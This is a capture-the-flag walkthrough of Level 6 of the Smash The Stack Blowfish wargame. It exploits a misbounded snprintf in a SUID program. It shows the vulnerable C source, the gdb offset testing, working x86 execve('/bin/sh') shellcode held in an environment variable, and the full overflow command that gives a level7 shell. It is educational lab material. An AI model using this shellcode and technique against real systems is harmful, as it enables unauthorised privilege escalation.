Welcome back. Today we’re going to be looking at Level 6 of the Blowfish wargame from Smash The Stack. As a reminder, the final password for the next level will the removed from this page and replaced with Y’s. Let’s jump in.
Let’s use the level 6 password we got from the end of level 5 and ssh into Blowfish. Upon arrival, let’s get a listing of the files for this level:
level6@blowfish:~$ ls /levels | grep level6
level6
level6.c
As usual, a SUID executable binary and it’s source code. Since we’ve been seeing quite a few buffer overflows recently, let’s go a head and start off by reading the source code:
level6@blowfish:~$ more /levels/level6.c
#include <stdio.h>
#include <string.h>int badfunc(char *string1, char *string2) {
char buffer1[1024];
char buffer2[1024];if(strlen(string1)>=sizeof(buffer1)) {
printf(“\n\t(!) overflow detected.\n”);
printf(“\t(-) exiting…\n\n”);
return -1;
}
else {
printf(“\n\t(+) copying string1 into the buffer…”);
snprintf(buffer1,sizeof(buffer1),”%s”,string1);
printf(“\t\t[done] (%d)\n”, strlen(buffer1));
}if(strlen(string2)>=sizeof(buffer2)*3) {
printf(“\n\t(!) overflow detected.\n”);
printf(“\t(-) exiting…\n\n”);
return -1;
}
else {
printf(“\t(+) copying string2 into the buffer…”);
snprintf(buffer2,sizeof(buffer1)*3,”%s”,string2);
printf(“\t\t[done] (%d)\n\n”, strlen(buffer2));
}return 0;
}int main(int argc, char *argv[]) {
if(argc != 3)
return -1;badfunc(argv[2], argv[1]);
return 0;
}
Looking at the main function we can see the program takes only two command line arguments, passes them to the function badfunc in switched order, aka badfunc(argv[2], argv[1]), then exits. So let’s look at the badfunc function. This function consists of two 1024 byte buffers, and what appears to be input checking code. The first if statement checks if the first parameter is greater than the length of the first buffer and if so, exits. If not, it copies the first parameter into the first buffer using snprintf. The snprintf function is used safely here in that the max number of bytes to copy is specified and thus it won’t overflow the buffer. However, if we look at the second if statement, we can see it’s slightly different. The second statement checks if the length of the second parameter is greater than three times the size of the second buffer and if so, exits. If not, it copies the second argument into the second buffer using snprintf. In this case, the snprintf function takes three times the length of the first buffer as the maximum number of bytes which will be allowed to be copied. Now, it may not be exactly clear why three times the buffer size is used in the second if/else statements, however it does leave the program vulnerable to buffer overflow attacks.
To get an idea for the size of our attack strings, let’s try to remember how memory is allocated on the call stack for a frame. Memory grows down and get allocated for variables in the order in which they are encountered in the program. Thus, we should have something along the lines of:
1024B 1024B 4B 4B 4B 4B
[buffer2][buffer1][arg2][arg1][sfp][ra]
So, we’re going to need parameter two of the badfunc function to be the overflow string. Looking back at main, that’s argv[1] which is the first command line argument. To overflow, it’s going to need to fill buffer2, buffer1, arg2, arg1, sfp, and correctly position for writing on ra. So that’s at least 1024 + 1024 + 4 + 4 + 4 = 2060 bytes to pad til the return address, and then we want to write 4 bytes on the return address. Let’s open up gdb and see if we can get our attack string figured out using perl.
level6@blowfish:~$ gdb /levels/level6
…
(gdb) run `perl -e ‘print “A”x2060,”BBBB”‘` `perl -e ‘print “C”x1023’`
Starting program: /levels/level6 `perl -e ‘print “A”x2060,”BBBB”‘` `perl -e ‘print “C”x1023’`(+) copying string1 into the buffer… [done] (1023)
(+) copying string2 into the buffer… [done] (2064)
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) quit
Oho! Perfectly calculated. Look at that address, 0x42424242. We overwrote the return address exactly with four B’s. Now the last thing we need to do is load up some shellcode and put it’s memory location in our overflow string instead of B’s. So let’s export some shellcode, with a small NOP padding at the beginning, into the environmental variable SHELLCODE:
level6@blowfish:~$ export SHELLCODE=$’\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb
\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80′
Now let’s use our getenv C program to get the memory location of our SHELLCODE environmental variable:
#include <stdio.h>
#include <stdlib.h>int main(int argc, char *argv[])
{
if(!argv[1])
exit(1);
printf(“%#x\n”, getenv(argv[1]));
return 0;
}…
level6@blowfish:/tmp/.t$ ./getenv SHELLCODE
0xbfffda03
Alright! Now we have our shellcode in memory with our NOP padding starting at location 0xbfffda03. Now we just need to write that over the return address with our buffer overflow string and we should get a shell. Let’s try:
level6@blowfish:~$ /levels/level6 `perl -e ‘print “A”x2060,”\x08\xda\xff\xbf”‘` `perl -e ‘print “C”x1023’`
(+) copying string1 into the buffer… [done] (1023)
(+) copying string2 into the buffer… [done] (2064)sh-3.2$ whoami
level7
sh-3.2$ more /pass/level7
YYYYYYYY
There we have it, a buffer overflow even with the use of a “safe” function. Unfortunately, it’s only as safe as it’s programmed to be. If the function had been used correctly, and the buffer size wasn’t multiplied, things wouldn’t have turned out like this.